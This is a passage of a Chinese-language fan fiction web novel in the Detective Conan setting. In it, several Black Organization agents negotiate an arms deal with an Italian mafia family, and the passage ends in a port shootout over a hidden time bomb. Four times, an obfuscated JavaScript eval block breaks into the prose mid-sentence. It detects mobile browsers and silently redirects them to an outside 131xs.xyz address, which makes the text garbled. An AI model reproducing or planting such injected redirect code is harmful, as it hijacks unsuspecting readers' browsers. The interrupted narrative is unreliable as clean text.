玛蒂娜轻笑一声:“权利的博弈罢了……好吧,谢谢。” “他以前在意大利活跃吗?我看你们的态度都很熟稔。”莱伊跟在玛蒂娜后头,忍不住摸出烟盒,却在对方的瞪视下悻悻收回。 “前面有专门的吸烟区。”玛蒂娜收回视线,回答莱伊的问题。“夏特勒兹大人负责的基地不止意大利,这些年他一直在各个国家来回跑。” “美国,英国,法国,德国,意大利,苏/联,加拿大……几乎组织在各国的重要基地夏特勒兹大人都有接手过,他也是两年前才申请回日本常驻的。” “至于这里,夏特勒兹大人上一次来还是三年前。” 三年前?! 如果三年来夏特勒兹并没有再来过这里,那么他在基地里的凝聚力就很可怕了。 回想路过休息区时见到的景象,三人心中微微一沉。 “我知道你们在想什么。”玛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16068053|175638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蒂娜轻笑一声,“这里的大多数人都承蒙过夏特勒兹大人的关照。” “不管怎么说,夏特勒兹大人算得上是难得一见的好上司。” 很高的评价。 苏格兰深吸一口气,毕竟就算卧底如他,也难得赞同这个观点。 玛蒂娜只是把他们重新带到休息区,便以事务繁忙为由告辞。休息区的当地成员显然对三位生面孔十分好奇,尤其是他们是夏特勒兹大人带来的成员。 在一众切磋、划拳拼酒的邀请和闲聊下,三瓶威士忌和其他成员的熟悉度很快就上升上去。 其中最先打开局面的是身为情报人员的波本,但在知道对方是朗姆的手下时众人的表情还是僵硬一瞬。 “怎么还有朗姆的人,一个蓝布鲁斯科还不能让他死心吗……” “闭嘴,”一个男人咬牙切齿地低声压下同伴的嘟囔吐槽,“那是夏特勒兹带来的人。” 众所周知,夏特勒兹在任务期间不会掺杂个人情绪和派系考虑,属于是谁好用就逮谁用——他们有些人也不是一开始就是夏特勒兹派系的,因为夏特勒兹的行事风格而跳槽来的不在少数。 所以不要在其他地方阻碍夏特勒兹大人挖人(划掉)执行任务。 原来如此,蓝布鲁斯科是朗姆的人。因为出事了被夏特勒兹处理,理亏的朗姆放弃的果断,不会继续插手——所以玛蒂娜才会被理所当然的任命接手事务。 权利的博弈和轮转……原来是这个意思。波本这下大概明白了这些天基地内大事的前因后果,暗暗将这条情报记在脑子里。 最受成员欢迎的是苏格兰,尤其是当他们得知苏格兰经常跟着夏特勒兹出任务之后。 “夏特勒兹大人是不是特别好说话?”一位仁兄哐哐拍着苏格兰的肩膀,“能跟在夏特勒兹大人身边,你的能力一定很不错。” “小子你就偷着乐吧,比起琴酒那种加班狂魔和朗姆那种不见光的猥/琐/老蝙蝠,跟着夏特勒兹大人,就算任务不达标也能帮忙兜底。” “没错,就算是以前我待的公司,我也没见到几个像他那样的。” “我记得你以前待的公司是世界五百强?” “对啊。” “那你怎么进组织了。” “因为我就是那个团队任务搞砸后被上司推出去顶锅的倒霉蛋。” 你确定你们是夏特勒兹的手下而不是夸夸团?听你们这么一说夏特勒兹好像大学期末捞人的好心教授。 诸伏景光汗流浃背。 嘛,看来大家都受过夏特勒兹大人的恩情呢。 莱伊……莱伊并不是很健谈的人,他选择去吧台一个人喝酒并抽两根缓缓烟瘾。 在知道他在琴酒手下干时,他一旁的兄弟同情地拍了拍他的肩膀。 “你们行动组那位top killer的名声都传来我们意大利了,你在他手下做事也不容易。” “不好意思,琴酒的名声?” “夏特勒兹大人吐槽过琴酒那位劳模的阴间工作时长和任务清单。” 莱伊:…… 夏特勒兹,宁是什么槽都往外吐啊。 还有,琴酒知道你在外面抹黑他的名声没有给你一枪吗? 38.谈判进行中 商业宴会很寻常。 寻常的恭维,寻常的交谈,寻常的一句话含义跟俄罗斯套娃一样一层又一层。 ……当然,这是在忽略在场的各位绅士小姐的身份的前提下。 “克里斯小姐,没想到您也会出席这场宴会。” 一位穿着得体西服的男士端着酒杯凑近,面带标准的社交笑容,眼里的惊艳一闪而过但还是被捕捉到。 贝尔摩德敷衍地将人打发后,波本才端着酒杯慢慢走近。 “既然看到了为什么不来帮忙?”她嗔怪。 波本保持微笑:“我以为你会喜欢那一款?” 贝尔摩德翻了个白眼。 “刚刚那个,是某个高官的小儿子吧?”波本看着那位男士又走向另一位小姐身边——他记得,那是埃斯波西托家族的长女,是继承人的有力竞争者之一。 只见那位小儿子熟练地融入话题,不一会儿那边传来愉悦的笑声。 埃斯波西托家同样是个规模数一数二的黑/帮家族,在科斯塔家的宴会上出现很正常。 但如果他没记错的话,他不远处的那位是最近新闻上闹得很凶的官员私生子,另一个方向他还看见了市长的二女儿在和一位黑/帮家族的继承人碰杯。 官///匪勾结啊。 “那家伙的父亲在国防部任职。他和很多黑/帮都有交易。”贝尔摩德解释了一句。 “或许他们会有交易留下的证据?”波本习惯性地带着恶意揣测一下。 “你真是……”贝尔摩德笑了。 “只是情报人员的通病罢了。” 对于波本的解释,贝尔摩德不予置评,但这也恰巧让她想到一个好点子。 “不……或许你是对的。” 【你有办法拿到科斯塔家的把柄吗? ——from Vermouth】 【?应该……可以?你什么时候要。 ——from Chartreuse】 【在我们进去谈判之前?一个小时。 ——from Vermouth】 躺在安全屋的房间里、因为懒所以直接用系统回复的诸伏清浅:“???” 在?为什么要给我加难度?这是加班吧? 酒厂给加班费吗你就使唤人[指指点点.jpg]。 “夏特勒兹?可以开饭了。”苏格兰敲了敲诸伏清浅的房门,却没有得到回应。 ……睡着了吗? 他毫不留情地用备用钥匙打开房门,却只看见尚有余温的床铺以及大开的窗户。 * “嗯……他好像搞定了。”贝尔摩德摸出手机回复两句,嘴角一直挂着若有若无的笑意。 谁?夏特勒兹? “你去对接一下吧,亲爱的。” 波本(迷惑但微笑):? ……在洗手间对接是他没想到的。 这个时候洗手间没人,安室透进去后环顾四周,并没有发现和对接有关的东西。 “[上面。]” 我勒个去。 内心被吓了一跳,但安室透还是强装镇定将视线上移,和坐在洗手间门板上的青年对上“视线”。 “……你什么时候来的。” “[刚才?]” 青年穿着方便行动的冲锋衣外套和工装裤,从怀中掏出一沓资料给对方。 “[赶紧看,看完我还得还回去。]” 妈的,大半夜加班,真晦气。 “[我原先可没接到加班通知,到底是谁突然提出来要我去拿资料的?]” 诸伏清浅察觉到波本的呼吸有点不自然。 诸伏清浅:“……” 诸伏清浅:“[波本,你欠我一次。]” ……这次还真是他的不对。波本打了个哈哈,低头快速浏览起这份被迫加急送来的资料。 嗯?这是…… * “晚好,克里斯小姐——不,或许应该称呼您为贝尔摩德?没想到您也是那个组织的其中一员。” 接待他们的是科斯塔家的现任家主沃伦,他在吞并里奇家之前就对这个在里世界威名赫赫的组织有所耳闻。 如今透过克里斯·温亚德的身份去看——果然,能在里世界盘踞许久的组织不可小觑。 “过奖,要不是里奇家倒台得太过突然,我们都不知道贵方筹备了这么久——实在令人刮目相看。”贝尔摩德优雅地靠坐在沙发上,两指夹着的细长女士香烟燃起白色烟雾。 “组织对你们很感兴趣。” “哈哈哈……这不就巧了吗,我们同样也对贵组织很感兴趣呢。”沃伦双手交叠,眼里闪过锐利的光。 “比如……贵组织的研究项目?” 研究项目……是指那个药剂保温箱吗。波本侧目。 “沃伦先生的消息果然灵通。” “哈哈,毕竟如果那种药剂真的存在于世上的话,很难不让人心动。” “那么,贵方确认了吗?”贝尔摩德漫不经心地将一缕发丝绕在指尖转圈圈,水绿色的眼眸微微抬起。“为表诚意我们可是提前将礼物送到了。” “当然,当然。我先前了解过贵组织与里奇家的合作——看来你们很需要一条稳定的军火供给线?” 沃伦挥挥手,身后的保镖上前一步,将手中的保险箱打开放在二人面前的桌面上。 “幸运的是,里奇家能给的,我们科斯塔家同样能给到,甚至能给得更好。” “美国最新研发的型号,后坐力小,射程更远更稳定——要试试吗?” 最新型号……没想到他们连这个也能拿到。安室透站在贝尔摩德座位斜后侧,扫了一眼便立刻收回视线。 他记得这种型号就连美国军队都还没有正式投入使用。 “试试倒不必,我们相信科斯塔家的信誉。”贝尔摩德看了两眼就收回了目光——组织当然也搞到了几把试手,但想要大批进购还是得找稳定的货渠。 “我更在意的是贵方的出价是多少。” 闻言沃伦作恍然状,将整个人慢慢陷进沙发内。 “当然,美丽的小姐……只是您知道的,这个型号尚未大规模投入使用,我们能提供的数量有限……两箱,您看如何?” 波本闻言闭眼勾起嘴角,一声气音表达了他不屑的态度。 两箱……打发叫花子呢。贪婪的意图掩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16081572|175638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 藏得虽好,但态度语气里的轻视和较为强势的谈判态度还是出卖了他。 这家伙,试图在心理博弈上给他们施加压力,从而从他们这儿获利更多。 “哦?看来这位小哥有不同的意见?”沃伦保持着一位随和慈祥长辈的形象,笑着问道。 见贝尔摩德没有阻止的意图,安室透就放心接过谈话的发言权。 “沃伦先生,恕我直言,贵方的算盘打得我隔了几条街都能听到。” “您真的认为,我们的药剂,仅仅两箱枪支弹药就能配平了吗?”浅色的波本曈蕴着冰冷的笑意,“未免也太嚣张了吧。” 硬茬子啊。沃伦稍稍正色些许,“那依小哥的话,你觉得多少合适?” 青年似乎对话语主导权掌握在手中感到满意,慢悠悠地伸出五根手指。 “五箱?”沃伦脸色微凝。 “外加两箱炸/弹和两箱子弹。” 简直就是狮子开大口。沃伦垂眸,敛下话语中的情绪。 “小子,这未免也太嚣张了吧。” 他将安室透的话还了回去。 “是吗?”室内气氛微凝,但金发青年好似察觉不到,语气轻松。“我还以为——” “您的三儿子会在国防部给您大开方便之门,所以你们的库存充足得很呢。” “卡米洛·科斯塔,我记得他现在的名字叫——” “安德里亚·格雷克?” 咔哒! 沃伦阴沉着脸,挥手制止了保镖枪支上膛抬起的动作。 “波本。”这个时候贝尔摩德也适时出声。 金发青年丝毫不惧,耸耸肩比划了一个嘴巴拉链的动作,表示自己不说话了。 波本,威士忌酒,同样是以酒名为代号的成员……他还以为这位一直站在贝尔摩德身后的家伙是对方不知道从哪里包/养来的小白脸,没想到对方直接给了他这么大一个惊喜。 虽然早就对对方的身份有所预料,但很显然预料得不够充分。 ……是最近的事情进展太过顺利,导致他的警惕心下降了吗? “你是怎么知道这个名字的。” 科斯塔家这些年对外一直宣称只有两位儿子外加一位小女儿,但无人知晓小女儿其实是龙凤胎——卡米拉·科斯塔有一位双生哥哥卡米洛·科斯塔。 为了科斯塔家的家业发展得更加顺利,卡米洛一直以“安德里亚”的名字培养着,并成功地成为科斯塔家打入国防部的一枚钉子,暗地里为科斯塔家提供了不少帮助。 可这件事他们为什么会知道?当年的所有人,包括卡米拉和卡米洛的侍女生母都被他灭口了,除了他之外根本不可能有人知道这个秘密! “这个嘛,知道这条信息也仅仅是作为一个情报人员的一时兴起罢了。” 如果真是这样的话,那么这个波本的情报搜集能力—— 威胁性就很大了。 “……你的条件,我们接受。” “不不不,我改主意了。”金发青年比划了一个数字三。 “三箱子弹,您看?” “……可以。”沃伦眼中闪着意味不明的光。 但要看看你有没有命去拿。 39.八卦进行中 谈判在表面上算是和平达成了。 贝尔摩德难得喊住了打算和她在酒店门口分道扬镳的波本,晃了晃手里的手机。 “先去找一趟夏特勒兹。” 甩掉背后的尾巴,最后他们是在路边一家普普通通的便利店中找到了吃泡面的夏特勒兹。 “没想到你会热衷于这种速食食品。”贝尔摩德佯装挑选商品,随手选了瓶苏打水付款,坐在埋头苦吃的诸伏清浅旁边。 “[哪能和吃高档餐厅的大明星比,我可是饭都没吃就跑来加班了诶,也没见你给我加班费。]” “那很遗憾,你的加班恐怕一时半会儿结束不了了。” 诸伏清浅:? 他放下叉子,有种不好的预感:“[说罢,你们把任务折腾成什么样了。]” 波本确认便利店没有耳朵偷听后,重新给清浅复盘了一下合作的过程,复盘着复盘着也意识到了问题。 “……太好说话了。” “要么就是他忌惮于我们掌握的情报,要么就是根本没有打算将这个合作好好谈到底,三天后的港口/交易估计会被做手脚。” 贝尔摩德无聊地用美甲拨弄水瓶的瓶盖,“沃伦的态度转折点是波本的那条情报……安德里亚·格雷克的身份是怎么回事?” 诸伏清浅表示很无辜:“[我不知道,这么短时间内能搜刮到的材料也就这么多。]” “[那家伙在家里的书房设置了好多个暗格,撬锁和破译机关搞得我人都麻了……至于安德里亚,他和沃伦的交易记录和一张毫不相关的照片放在一起,深挖一下就推测出来了。]” 那是一张年轻的沃伦与一个女人的合影,他们的怀里抱着两个刚出生的婴儿。 因为波本看到这张照片的时候就确认了照片上的女人并不是如今科斯塔家的家主夫人,也就是大儿子吉米和二儿子科伦塔的生母。 那么照片上女人的身份就很微妙了。 尤其是波本在夏特勒兹的情报网中浏览过一条情报——沃伦的小女儿卡米拉,是他与侍女的私生女,他偷/晴的行为被家主夫人发现后,为平息夫人的怒火,主张把侍女鲨掉,女儿则是过继到夫人膝下充当联姻的工具。 沃伦与其夫人是联姻,但夫人以前也是大家族里集万千宠爱于一身的千金小姐,对于丈夫的出轨行为自然是严查严惩(她自己偷/晴这件事情另算)。然而这么多年过去,却只查到当年的侍女一个,安德里亚的样貌仔细看就能看出他与沃伦的相似之处。 那么照片中的女人—— 只能是当年偷/晴被发现后女儿成为联姻工具、儿子成为家族的暗桩的侍女。 卡米洛这个名字是怎么知道的?哦,照片背后写了XD 虽然只是推测,但没想到真的一语成谶了。 贝尔摩德没想到还能听一嘴豪门八卦:“没想到那家伙这么惧内……他夫人的娘家很强?” “[据说她的家族是上一代的黑/帮老大,她是下嫁来科斯塔家的。]” 那很遭老罪了,难怪沃伦这么紧张安德里亚的身份。 “[所以三天后的交易你还要参加?]”贝尔摩德可不是愿意坐在便利店和他唠嗑的性子。 “嗯哼……我得盯完全程。” 懂了,交易的东西太过重要,和科研组关系最深的贝尔摩德得确认药剂的每一道交接程序。 同时三天后的交易也是判断科斯塔家有无异心的时刻,若最后无法谈合拢,清浅的加班工作就会变成回收药剂。 “[那我应该能偷懒不去吧……你别想借此赚我人情。]” “你还是这么不可爱。”被识破意图的贝尔摩德有点觉得可惜。 “[被加班折磨的社畜是可爱不起来的。]” * 最后夏特勒兹和波本选择慢慢散步回安全屋。 如今已逐渐入冬,意大利的纬度比日本要高上一些,气温下降的也快上一些。 马上就要到年末了啊,短短两三个月时间。景光哥也进组织大半年了,话说明年……明年基尔小姐是不是就要进组织了?他一边思考,一边缩了缩脖子。 ……为了行动方便,他今晚穿的有些少了。 “所以我们和科斯塔家的合作谈崩了是吗。” 波本的话将他的思绪拉回。“[不出意外的话是的。]” “组织不着急吗?毕竟这次的任务比较重要吧。” “[科斯塔家并不是唯一的选择。]” 重要的其实是查明里奇家的突变情况与原因,谈合作这一块并不在他的任务范围,只是因为他在意大利经营的势力能够更好地协助任务,因而被留下来加班协助了。 如今贝尔摩德从大明星的身份度假归来,他当然很乐意将这本来不存在的工作量扔回给原主。 “[之后的谈合作任务就不归我管了。]” 他能休息了哈哈哈~~ 诸伏清浅心情愉悦,就连步子都轻快几分。直到—— 站在安全屋门口时,准备拿钥匙开门的波本敏锐感觉到身旁人动作一顿。 “怎么了,有什么问题吗?”波本神色迅速变得凝重。 夏特勒兹的听力给了他很大的震撼,他不禁想着里面是不是出了什么状况而他尚未发现。 “[……不,]”蒙眼青年否认了他的警觉,声音细小的电子音似乎彰显着主人内心的心虚。 “[我好像忘记告诉苏格兰我今晚晚饭不在安全屋里吃了。]” 波本:……? 恰巧这个时候,他们面前的大门被打开。 已经洗完澡换了一身舒适家居长袖长裤的苏格兰微笑地看着在门口罚站的两人。 “不进来吗?” 啊,是非常核善的微笑/语气呢。 诸伏清浅被血脉压制住,打了个寒噤,没忍住小声打了个喷嚏。 ……哦豁,完蛋。 他仿佛都能看见他哥脸上愈发温柔的笑容了。 * 夏特勒兹和苏格兰这对上下属的相处模式真的很让人意外。 莱伊坐在客厅角落保养他的狙击枪,零件散落一地,抬眼就能看到裹着毯子瘫在沙发上的蒙眼青年在苏格兰的淫/威下吃下一堆苦了吧唧的预防药,一句反驳都不敢吭声。 “夏特勒兹经常生病?”他问苏格兰,这一幕实在是稀奇。 他记得苏格兰并不是那种爱操心的人,这个看上去很好相处的家伙其实淡漠得很。 和苏格兰出任务时,胡茬青年从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16095390|175638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 狙击镜中瞄准敌人的时候没有对生命的惋惜,只有对当时手感状态良好的愉悦——对他来说,十字星中瞄准的人头和平常训练的靶子并无区别。 在休息时的组织酒吧内,他也是一副事不关己的态度……当然,这一点他掩藏得很好,因此很多家伙都被他好说话的假面骗到,向他吐槽了不少秘密和情报。 因为事不关己,所以没有说出去的必要,故而苏格兰“最能保守秘密、有烦恼的事情可以找他倾诉”的形象就树立起来,从某种角度而言他确实很会收集情报。 他曾经吐槽过对方这一形象好像树洞,该不会进入组织前做的就是心理咨询吧。 ……然后晚饭的怪味咖喱给他上了深刻的一课。 “因为他真的会随地大小晕,为了我的心脏着想还是盯着好一点。” 苏格兰微笑,表示他真的不想回忆当初在安全屋时夏特勒兹走着走着突然身形一晃,“噗通”一声就倒在地上的惊悚感。 然后前去查看发现这家伙已经烧起来好长一段时间,浑身温度烫的吓人。 后来青年发言,他是因为感觉实在撑不住才晃出来找药吃……结果就差临门一脚,倒在客厅不省人事。 诸伏景光:…… 虽然犯罪分子理应不该有多余的同理心,但不知道为什么对上夏特勒兹他就止不住的糟心。 或许是因为好上司很难找吧……毕竟夏特勒兹要是真的出事,他估计会被调去琴酒手里加班。 加班,简直就是地狱(夏特勒兹语气)。 “……跟小孩一样。” 安室透:十字井号警告。 “莱伊你好好说话。”如果说夏特勒兹是小孩的话,操心夏特勒兹的hiro又是什么身份?妈妈吗? 安室透站在莱伊的狙击枪零件摆阵前,诸伏景光有那么一瞬间幻视了一只对地上零件好奇的暹罗猫。 ……猫塑达咩。 “[……虽然我不认为我能戴上小孩的标签,但我确实比你们小。]” 手里的热可可被强制换成了热水,诸伏清浅缩在毯子里发言。 不知道为什么他一下子就和降谷零连接上,get到了对方的思维。 ……为什么啊,是因为只有莱伊是艾护比艾吗? 莱伊,你被日本公安及其家属孤立了哦(那种语气) 诶?真的假的? 三瓶威士忌都有些惊讶。 苏格兰对此早就有所猜测,这会儿得到答案有种“果然如此”的恍然感和“他真的比我小啊”的小小惊讶。 “[我今年21,这里应该没人比我更小了吧。]” 21,那不就是去年刚成年吗?! 降谷零和诸伏景光,甚至是赤井秀一都被这个年纪震撼了一下。 已知,夏特勒兹今年21岁,三年前就已经在意大利的组织基地拥有不小的威望,当时的年龄也就18岁。 “这个年纪还真的……我都有点好奇夏特勒兹你是几岁拿到代号的了。” 竟然问出来了。莱伊侧目看了眼出声的苏格兰。 “[嗯……我算是最小年纪拿到代号的,琴酒当年拿到代号才17岁,]”夏特勒兹双手比划出数字十四。 “[我是十四岁。]” 40.交易进行中 “[我是十四岁。]” 嘶—— 降谷零和诸伏景光在心里对组织的无良程度倒吸一口气,也对十四岁就拿到代号的盲眼青年彻底正视起来。 ……但就是这样一位天才组织成员,反而因为晚上的吹风把自己弄感冒了。 诸伏清浅缩在毯子里,捧着苏格兰临走前递给他的水杯。 交易定在一个人烟稀少但很适合走/私的港口,在交易到来前的三天,除了偶尔出门搜集情报的波本,莱伊和苏格兰也会出门寻找合适的狙击点。 今天苏格兰和波本都出了去,只留被感冒折腾得头昏脑涨的诸伏清浅以及无所事事的莱伊在安全屋。 那两位应该在外面背着我们交流情报吧。 他偷偷打开系统定位,果不其然看见两个半黑半绿的小点凑在一起。 收回目光,清浅重新将注意力放在脑海里展开的屏幕上。 用笔记本办公会被苏格兰抓住,但用系统面板办公,在表面上看来也不过是在假寐。[点赞.jpg] 不过最近的任务都赶得差不多,他一时间也有些无聊,从面板上翻出系统自带的离线小游戏,和算法AI对峙起来。 …… ……你/妈的狗*AI! 在和女朋友发消息的莱伊看着盲眼青年突然从沙发中猛地站起,然后又倒下去。 ……搞什么? 站起来太猛而遭到供血不足的制裁,两眼一黑又倒回沙发的诸伏清浅认命咸鱼翻身,摸出手机打字问: “[莱伊,你现在有空吗?]” “[来和我下五子棋。]” 他就不信了,打不过算法AI绝对不是他的问题! * “C8。” “[F4。]” “F6。” “[G11。]” 苏格兰和波本回来的时候顺便买了中午做饭的食材,一进门就听见莱伊低沉的声音和电子音交替响起。 ……这是什么暗号? 进了客厅,只见黑色长发的青年和蒙眼青年各自占据沙发的一端,随着各自的报点,莱伊在手里的板子写写画画。 板子是夏特勒兹的电子草稿板,只见被调成格子背景的板子上,不断被圈/圈/叉/叉填充。 他俩在下五子棋? 而且是盲棋。 “夏特勒兹记得住吗?”苏格兰凑过来看现场状况,圈/圈/叉/叉已经占据了板子不小的面积。 “[啊……这个,]”其实是同步在系统面板上还原棋局,一时间还真没考虑过这个问题。“[26*26的格子还是能记住的……大概?]” “C7。” “[诶嘿~H4,我赢了。]” 如果不是特意训练过,应该很少人能做到吧? 看着板子上五个被串起来的圈圈,一旁观战的波本冷不丁开口。 “但下盲棋很烧脑的吧,夏特勒兹你撑得住吗。” 莱伊按了草稿板的一键清除键,一场无硝烟的战争瞬间消弭。“现在是五胜四负。” 波本:“他五你四?” “对。” 菜。 波本神清气爽。 或许是因为诸伏景光回来了的原因,清浅适时退出战场表示自己不玩儿了,不一会儿墨绿的眸子与紫灰的眸子对上视线,金发青年默契地替上夏特勒兹的位子开启新的一局。 目睹这一切的苏格兰:“……” * 这三天,三位体质异于常人的卧底搜查官见证了什么叫做体质差异。 同样穿着单薄衣物在晚上凉风中散步,回来的波本屁事没有,但夏特勒兹这三天在预防药的干预下,还是在头昏——重感冒——发烧的路上一去不复返,出发前往交易港口前青年已经贴着退烧贴躺在床上再起不能了。 三天前听过对方偷懒发言的金发青年也难得沉默。 如果只是为了偷懒,那宁也太拼了吧。 他们去的很早,苏格兰和莱伊前往早就选好的狙击点准备,波本则在一处能够看到港口情况的地点观察动向。 直到约定好的时间前两个小时,金发女郎的身影才姗姗来迟,出现在波本所在的巷子中。 “来的真早。” 波本微笑回应:“让女性久等可不是绅士所为。” 贝尔摩德同样微笑以应。 【莱伊已就位,目前无异常。】 【苏格兰已就位,目前无异常。】 夜晚的港口很静,唯有海浪拍打礁石的声音以及呼啸的风声。 听着行动耳麦中两位狙击手的报告,安室透抬手看表。 叉车已经开始装货上船,进度还算不错,应该能在约定时间内完成。 时间在静默中悄然流逝,其余工作人员在装完货物后很快撤走,在两人的允许下留下寥寥几人负责货物的安排。 风声吹乱了两人金色的发丝,同样也带来了来者清晰的脚步声。 港口的仓库前,两班人马终于再次见面。 “晚好,科伦塔先生。”金发女士挑眉率先打了个招呼。 科伦塔·科斯塔,沃伦·科斯塔的二儿子。 ……情理之中。 安室透一开始也以为前来交易的会是身为顺位继承人的吉米,没想到来的是一直以来低调行事的二儿子科伦塔。 科伦塔不像他的大哥一样招摇,平常不怎么见人影,似乎只有在各种晚宴中才能看见他——沉默的青年跟在威严的家主和社交得体的大少爷身后,更多是以透明人的形式存在。 虽然明面上是个孤僻的艺术家,对家族里的事情不闻不问,但这场交易交给二儿子来负责—— 看来科斯塔家的水不浅呐。 显然对方对这次交易也很重视,数名健壮的黑衣保镖沉默地跟在科伦塔身后,从站姿上看就知道身手不凡。 “那么废话不多说,交易开始吧。” 科伦塔并没有继续闲谈的欲望——也对,毕竟这次交易的主动权并不在他们这方手里,早点搞定早点脱手这件事才是正道。 效率一点也好,省事。 波本闻言将手中的行李箱放在地面上打开,露出里面成叠的美金。 展示完毕,波本没有重新扣回箱子,而是和贝尔摩德一同往后退数步,等待对方上前验货。 身为黑/帮家族的二少爷,科伦塔对交易的流程自然熟悉。 他微微侧头,身后的一位保镖会意上前,前去将地上的行李箱扣好取回,迅速带着箱子回到科伦塔身边。 “不验一下货吗?” “没有必要吧。”科伦塔收回视线,就算货不对板他们又能说什么。 验都不验,对方对这场交易很抵触啊……看来这个秘密比他们想象的还要重要,为什么呢? 那天晚上夏特勒兹拿到的资料就这么多,能推测出安德里亚的身份已实属不易。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16106132|175638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>但从科斯塔家这一系列的反应来看,这条情报后面必定牵扯着更关键的东西。 前职业为情报贩子的安室透嗅到了秘密的味道。 不过这场任务也即将结束,他很快就会回到日本——那里才是他的主战场。 至于意大利这边的事,现在掌握的情报已经足够他用。 根据交易内容,他们需要等对方撤离,并离开港口半个小时后他们才能启动货轮离开。 对方后撤几步,显然是准备撤退。波本见状朝他们挥挥手。 “交易愉快,期待下次合作~” 并不愉快,而且也没有下次了。 科伦塔转身敛眉,眼中的狠戾一闪而逝。 “[我看是没有下次合作的机会了。]” 什么?! 或许是心里话突然被人说出来的惊愕感,又或许是突如其来的电子音吓他一跳,科伦塔抬头,看见撤离的路上有一道人影站立中间。 月光清冷如薄纱,朦朦胧胧地洒下,就已经足够所有人看清对方的模样。 青年身形瘦削,黑色的卫衣工装裤在他身上都显得空荡,在月光的照耀下皮肤的冷白格外显眼。 让人更印象深刻的,则是对方眼前蒙着的黑缎,还有手里快速打字的手机——令人不适的电子音就是从中发出。 夏特勒兹?他怎么在这里! “Shadow Killer(影子杀手)……为什么会出现在这里。” 双方人马都很震惊,因为他们根本没有发现对方的接近! 莱伊移动瞄准镜,十字星对准了蒙眼青年,有些不敢相信刚才的失误。 就连他也没立刻察觉到对方……夏特勒兹的存在感降得低过头了吧。 耳麦频道里苏格兰也没有出声预警,看来对方和他一样啊。 突然,狙击镜里的蒙眼青年微微侧头,如果没有黑缎蒙眼的话,莱伊应该能和对方的视线对上。 ……他看到我了。 对方认识夏特勒兹。波本从对方的反应看出来,是三年前夏特勒兹在意大利执行任务的时候认识的? “[经常和科斯塔家打交道的应该都知道,比起嫡子,次子才是家主真正想要培养的继承人。]” “[你的名声比你想的更好打听……科伦塔·科斯塔,代表科斯塔家谈判的交易合作不在少数,其冷漠、谨慎、追求利益的性格极其符合科斯塔家族惯有的作风。]” “[不检查行李箱里的交易金额并不符合你以往表露出来的行为习惯,为什么呢?]” 蒙眼青年径直越过他和他的保镖,走向更靠近海边的两人,并把手里的特制保温箱递给贝尔摩德。 “[为什么交易内容里要求你们离开半个小时后才能启动货轮?是因为谨慎而拉开的时间差?]” 诸伏清浅在他们离开安全屋后就立刻行动起来,他想办法潜入进科斯塔家的研究室——那里的安保比组织的实验室简单一百倍,并将贝尔摩德带来的药剂回收,相关的研究资料也删了个干净。 搞定后他马不停蹄地赶到港口,将保温箱交给贝尔摩德后,诸伏清浅离已经装货完毕的货轮又近了些。 晚风阵阵,带来隐隐约约富有节奏感的滴滴声。就算有【听力MAX】的buff存在,他也只是听得若有若无—— 但也足够他将声音与某种物品对上号。 “[……还是因为,货箱内已经启动的定时炸弹半小时后会炸?]” 41.钱货两讹中 放一个脑子寄存处 —————— “撤!” 见意图被发现,科伦塔冷喝一声往后退,他的保镖立马开枪射击。 科伦塔的暴起措不及防,贝尔摩德和波本立刻闪避寻找掩体。 “……!”安室透张口,因为他看见蒙眼青年仍然站在原地,似乎想要迎敌。 “不用管他,这种程度他搞得定!”贝尔摩德喝止了波本想要从掩体出来支援的动作。 对面这么多枪,夏特勒兹一个瞎子怎么可能……! 第一声子弹射/出的声音传来时,夏特勒兹已经迅速后退拉开距离。 港口隐蔽,因为黑暗更利于一些动作的进行。昏暗的灯光下视线受阻,但这根本影响不了夏特勒兹。 视力常年被黑暗蒙蔽,他早已习惯将大脑多出来的算力分配给其他感官。 他的耳廓微动,【听力MAX】彰显出它身为外挂的实力——科伦塔带了十个保镖过来,其中八个举枪成扇形撤退,两个贴身保护抱着箱子的二少爷。 子弹上膛的声音在混乱的场景内显得微不足道,但对夏特勒兹来说却如同早八的闹铃一样刺耳。 